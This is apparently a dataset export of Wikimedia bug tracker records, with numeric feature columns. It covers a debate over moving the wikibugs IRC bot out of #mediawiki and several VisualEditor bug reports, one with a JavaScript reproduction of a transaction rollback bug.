210438,Move wikibugs out of #mediawiki to #wikimedia-dev,wikibugs appears to be in #mediawiki right now and is happily reporting bug updates...,,,1363368845,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5625,1.0,wikibugs appears to be in #mediawiki right now and is happily reporting bug updates...
210433,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #11)
> (In reply to comment #7)
> > Hashar kicked it yesterday... Adding hashar to CC.
> 
> I have not kicked wikibugs out of any IRC channel. Additionally, I have ZERO
> interest in wikibugs nowadays nor am I able to do anything about it. Sorry.

Ah it was ^demon. Sorry for my bad memory.",,,1363358615,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,7.0,10.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.7,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah it was ^demon. Sorry for my bad memory."
210428,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #7)
> Hashar kicked it yesterday... Adding hashar to CC.

I have not kicked wikibugs out of any IRC channel. Additionally, I have ZERO interest in wikibugs nowadays nor am I able to do anything about it. Sorry.",,,1363353592,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,16.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,9.0,16.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.558139534883721,0.8372093023255814,"(In reply to comment #7)
QUOTE

I have not kicked wikibugs out of any IRC channel. Additionally, I have ZERO interest in wikibugs nowadays nor am I able to do anything about it. Sorry."
210424,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #8)
> If we kick any single bot, Gerrit produces a-lot more cruft lately than
> wikibugs... I, as having pointed out would prefer them all in a separate
> channel that is moderated and only the bots are voiced.

This. wikibugs is useful, it tends to notify about semi-interesting things that are happening (unless it notifies that someone CC'd himself on something, but that's another bug).

gerrit-wm tends to spam about changes being merged to wmf branches.",,,1363347600,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,0.0,3.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,9.0,3.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.8615384615384616,0.7230769230769231,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

This. wikibugs is useful, it tends to notify about semi-interesting things that are happening (unless it notifies that someone CC'd himself on something, but that's another bug).

gerrit-wm tends to spam about changes being merged to wmf branches."
210421,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #6)
> (In reply to comment #5)
> Lets move it into #mediawiki-feed or another channel then. It provides a
> better
> service than wm-bot does (comment 1), and people find it useful. If the
> specific channel that it's in is a problem, move the bot, don't just kill it.

Moving it's easier said than done, since it's not puppetized properly, but that can be worked around.

Long term--wouldn't improvements to wm-bot be a good idea too?",,,1363346924,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,14.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,4.0,9.0,7.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.3684210526315788,0.7543859649122807,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Moving it's easier said than done, since it's not puppetized properly, but that can be worked around.

Long term--wouldn't improvements to wm-bot be a good idea too?"
210416,Move wikibugs out of #mediawiki to #wikimedia-dev,"Lets take this the mailing list again...

(But my two cents)
If we kick any single bot, Gerrit produces a-lot more cruft lately than wikibugs... I, as having pointed out would prefer them all in a separate channel that is moderated and only the bots are voiced.",,,1363346843,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,3.0,9.0,2.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,2.0,2.0,2.0,0.0,0.0,3.7413793103448274,0.9310344827586207,"Lets take this the mailing list again...

(But my two cents)
If we kick any single bot, Gerrit produces a-lot more cruft lately than wikibugs... I, as having pointed out would prefer them all in a separate channel that is moderated and only the bots are voiced."
210411,Move wikibugs out of #mediawiki to #wikimedia-dev,Hashar kicked it yesterday... Adding hashar to CC.,,,1363346799,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.3,1.0,Hashar kicked it yesterday... Adding hashar to CC.
210405,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #5)
 
> We've had *contributors* complaining about the bot(s) for the past couple of
> months/years.

So then lets fix the problem, not just shut off a service people find useful.
> 
> I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO
> LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot
> *needs*
> to go.

Lets move it into #mediawiki-feed or another channel then. It provides a better service than wm-bot does (comment 1), and people find it useful. If the specific channel that it's in is a problem, move the bot, don't just kill it.",,,1363346711,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,6.0,1.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,8.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.2989690721649483,0.5876288659793815,"(In reply to comment #5)
 
QUOTE
QUOTE

So then lets fix the problem, not just shut off a service people find useful.
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Lets move it into #mediawiki-feed or another channel then. It provides a better service than wm-bot does (comment 1), and people find it useful. If the specific channel that it's in is a problem, move the bot, don't just kill it."
210399,Move wikibugs out of #mediawiki to #wikimedia-dev,"We actively had a user saying ""This channel obviously isn't for support...two pages of scrollback and I've spotted 2 real people."" This is a bad thing, contrary to what you may think.

We've had *contributors* complaining about the bot(s) for the past couple of months/years.

I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot *needs* to go.",,,1363346397,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,3.5,0.5,5.5,7.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.5,6.0,1.5,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,15.0,1.0,0.5,7.5,0.0,0.0,0.0,1.0,2.5,0.0,3.0,0.0,5.0,7.0,2.5,0.0,3.0,0.0,5.0,0.0,0.5,1.0,0.0,2.0,1.0,0.0,0.0,3.5799396681749625,0.8350301659125188,"We actively had a user saying ""This channel obviously isn't for support...two pages of scrollback and I've spotted 2 real people."" This is a bad thing, contrary to what you may think.

We've had *contributors* complaining about the bot(s) for the past couple of months/years.

I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot *needs* to go."
210396,Move wikibugs out of #mediawiki to #wikimedia-dev,*** Bug 46139 has been marked as a duplicate of this bug. ***,,,1363338334,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46139 has been marked as a duplicate of this bug. ***
210392,Move wikibugs out of #mediawiki to #wikimedia-dev,15 04:19:44 -!- wikibugs [~wikibugs@mchenry.wikimedia.org] has joined #mediawiki,,,1363321422,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.636363636363637,1.0,15 04:19:44 -!- wikibugs [~wikibugs@mchenry.wikimedia.org] has joined #mediawiki
210389,Move wikibugs out of #mediawiki to #wikimedia-dev,"15 04:03:39 < Susan> Can someone please take a look at <https://bugzilla.wikimedia.org/show_bug.cgi?id=46144>?
15 04:16:04 < jeremyb_> Susan: i did
15 04:16:18 < Susan> Helpful.
15 04:16:19 < jeremyb_> (a while ago)
15 04:16:29 < jeremyb_> Susan: it was kicked. people didn't like the spamming
15 04:16:37 < Susan> I don't like people.
15 04:16:39 < Susan> I think we're even.
15 04:16:41 < jeremyb_> there was a user trying to get help and had trouble because of the flood
15 04:16:52 < jeremyb_> (wasn't my decision i only saw the scrollback)
15 04:17:03 < jeremyb_> Susan: anyway, there's #mediawiki-feed for now
15 04:17:10 < Susan> It's a terrible replacement.
15 04:17:15 < Susan> As it's missing wikibugs.
15 04:17:28 < jeremyb_> it has wm-bot providing a similar service
15 04:17:31 < jeremyb_> i witnessed it
15 04:17:50 < jeremyb_> and you've been there too
15 04:18:34 < jeremyb_> Susan: at some point we should either let it back into #mediawiki or configure it to not join (and remove the ban). also we could maybe get wikibugs to join #mediawiki-feed if you really care
15 04:18:48 < Susan> I do really care.",,,1363321307,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,3.3333333333333335,0.0,5.333333333333333,4.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,3.3333333333333335,0.6666666666666666,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.0,1.3333333333333333,6.333333333333333,0.6666666666666666,1.6666666666666667,3.3333333333333335,0.0,0.0,0.0,1.0,4.666666666666667,0.6666666666666666,11.666666666666666,0.0,7.0,4.0,5.333333333333333,0.0,0.0,0.0,7.0,0.0,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,12.0,3.3107041107041106,0.598127798127798,"15 04:03:39 < Susan> Can someone please take a look at <URL
15 04:16:04 < jeremyb_> Susan: i did
15 04:16:18 < Susan> Helpful.
15 04:16:19 < jeremyb_> (a while ago)
15 04:16:29 < jeremyb_> Susan: it was kicked. people didn't like the spamming
15 04:16:37 < Susan> I don't like people.
15 04:16:39 < Susan> I think we're even.
15 04:16:41 < jeremyb_> there was a user trying to get help and had trouble because of the flood
15 04:16:52 < jeremyb_> (wasn't my decision i only saw the scrollback)
15 04:17:03 < jeremyb_> Susan: anyway, there's #mediawiki-feed for now
15 04:17:10 < Susan> It's a terrible replacement.
15 04:17:15 < Susan> As it's missing wikibugs.
15 04:17:28 < jeremyb_> it has wm-bot providing a similar service
15 04:17:31 < jeremyb_> i witnessed it
15 04:17:50 < jeremyb_> and you've been there too
15 04:18:34 < jeremyb_> Susan: at some point we should either let it back into #mediawiki or configure it to not join (and remove the ban). also we could maybe get wikibugs to join #mediawiki-feed if you really care
15 04:18:48 < Susan> I do really care."
210385,Move wikibugs out of #mediawiki to #wikimedia-dev,"wm-bot in #mediawiki-feed is not an acceptable replacement for wikibugs.

For example, Quim added a comment here: bug 35508 comment 14.

wm-bot reported this:

<wm-bot> [bugzilla] (--- - created by: Sumana Harihareswara | priority: enhancement - Normal assignee Chad H.) [Bug 35508] List of Gerrit users - https://bugzilla.wikimedia.org/show_bug.cgi?id=35508

I realize that this is a limitation of Bugzilla's RSS feed, but the output is still almost useless.",,,1363321220,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-16,,0.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,14.0,1.0,1.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,1.0,7.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.597938144329897,0.7010309278350515,"wm-bot in #mediawiki-feed is not an acceptable replacement for wikibugs.

For example, Quim added a comment here: bug 35508 comment 14.

wm-bot reported this:

<wm-bot> [bugzilla] (--- - created by: Sumana Harihareswara | priority: enhancement - Normal assignee Chad H.) [Bug 35508] List of Gerrit users - URL

I realize that this is a limitation of Bugzilla's RSS feed, but the output is still almost useless."
48138,VisualEditor: Transaction with replaceMetadata then replace at the same offset doesn't rollback cleanly,"This is kind of a ridiculous case, but it cost me an hour of debugging time, so documenting it here for posterity. It won't be a practical issue until we start composing transactions together.

Consider:

var data = ve.dm.example.withMeta,
    oldDoc = new ve.dm.Document( ve.copyArray( data ) ),
    newDoc = new ve.dm.Document( ve.copyArray( data ) ),
    tx = new ve.dm.Transaction();
tx.pushRetain( 11 );
tx.pushReplaceMetadata( [], [ { metadata element here } ] );
tx.pushReplace( [] , [ 'a', 'b', 'c' ] );
ve.dm.TransactionProcessor.commit( newDoc, tx );
ve.dm.TransactionProcessor.rollback( newDoc, tx );

After running this, you'd expect oldDoc.metadata and newDoc.metadata to be equal, but they're not:

> oldDoc.metadata[11].length;
4
> newDoc.metadata[11].length;
5

When the transaction is rolled back, the metadata element that was added was never removed. I think this is because the content insertion pushes the metadata back, and then when the rollback tries to remove the metadata again, it can't find it. When the metadata replacement and content replacement are swapped, it works fine, so that's my workaround for now.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1363300500,1682006049.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-2imau6pf732mnvgzug5k,task_description,invalid,True,c1,1,False,False,False,-16,,0.0,0.0,0.0,1.6666666666666667,1.0,2.6666666666666665,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,6.333333333333333,4.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,1.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,4.666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,9.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,4.0,3.0,5.0,2.0,1.6666666666666667,5.333333333333333,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.3333333333333333,0.0,4.333333333333333,4.0,4.333333333333333,0.0,2.0,0.0,4.333333333333333,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,2.0,3.8927203065134104,0.5900383141762452,"This is kind of a ridiculous case, but it cost me an hour of debugging time, so documenting it here for posterity. It won't be a practical issue until we start composing transactions together.

Consider:

var data = ve.dm.example.withMeta,
    oldDoc = new ve.dm.Document( ve.copyArray( data ) ),
    newDoc = new ve.dm.Document( ve.copyArray( data ) ),
    tx = new ve.dm.Transaction();
tx.pushRetain( 11 );
tx.pushReplaceMetadata( [], [ { metadata element here } ] );
tx.pushReplace( [] , [ 'a', 'b', 'c' ] );
ve.dm.TransactionProcessor.commit( newDoc, tx );
ve.dm.TransactionProcessor.rollback( newDoc, tx );

After running this, you'd expect oldDoc.metadata and newDoc.metadata to be equal, but they're not:

QUOTE
4
QUOTE
5

When the transaction is rolled back, the metadata element that was added was never removed. I think this is because the content insertion pushes the metadata back, and then when the rollback tries to remove the metadata again, it can't find it. When the metadata replacement and content replacement are swapped, it works fine, so that's my workaround for now.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2110264,VisualEditor: Transaction with replaceMetadata then replace at the same offset doesn't rollback cleanly,There are no more metadata ops since T56299.,,,1682006049,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2imau6pf732mnvgzug5k,task_subcomment,,True,c1,3,True,,,511,,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.111111111111111,1.0,There are no more metadata ops since T56299.
48133,"VisualEditor: Redesign naming of canHaveChildren, ContentBranchNode, etc.","Trevor complained the naming of these things doesn't make sense, so let's sit down and come up with a strategy for renaming this stuff at some point.",Low,25.0,1363284960,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-o7nh4k5ffcmrnlrox5vs,task_description,open,True,c1,1,False,False,,-16,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,1.0,"Trevor complained the naming of these things doesn't make sense, so let's sit down and come up with a strategy for renaming this stuff at some point."
48048,VisualEditor: Allow testing dom<->data conversion with and without MW-specific nodes registered,"TODO comment in ve.dm.Converter.test.js:

// TODO: this is a hack to make normal heading/preformatted
// nodes the most recently registered, instead of the MW versions

It's not entirely clear to me how we should fix this. Maybe once we hard-split the VE and MWVE code bases and each of these has its own test suite, then we won't have to worry about this as much.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1363131420,1372874201.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2jnxk3ykpceaf3icyoim,task_description,resolved,True,c1,1,False,False,True,-16,,2.0,0.0,1.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,3.826530612244898,0.7040816326530612,"TODO comment in ve.dm.Converter.test.js:

// TODO: this is a hack to make normal heading/preformatted
// nodes the most recently registered, instead of the MW versions

It's not entirely clear to me how we should fix this. Maybe once we hard-split the VE and MWVE code bases and each of these has its own test suite, then we won't have to worry about this as much.

--------------------------
**Version**: unspecified
**Severity**: normal"
229872,VisualEditor: Allow testing dom<->data conversion with and without MW-specific nodes registered,This was fixed in gerrit 70753.,,,1372874201,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2jnxk3ykpceaf3icyoim,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This was fixed in gerrit 70753.
47916,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200","When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.

--------------------------
**Version**: unspecified
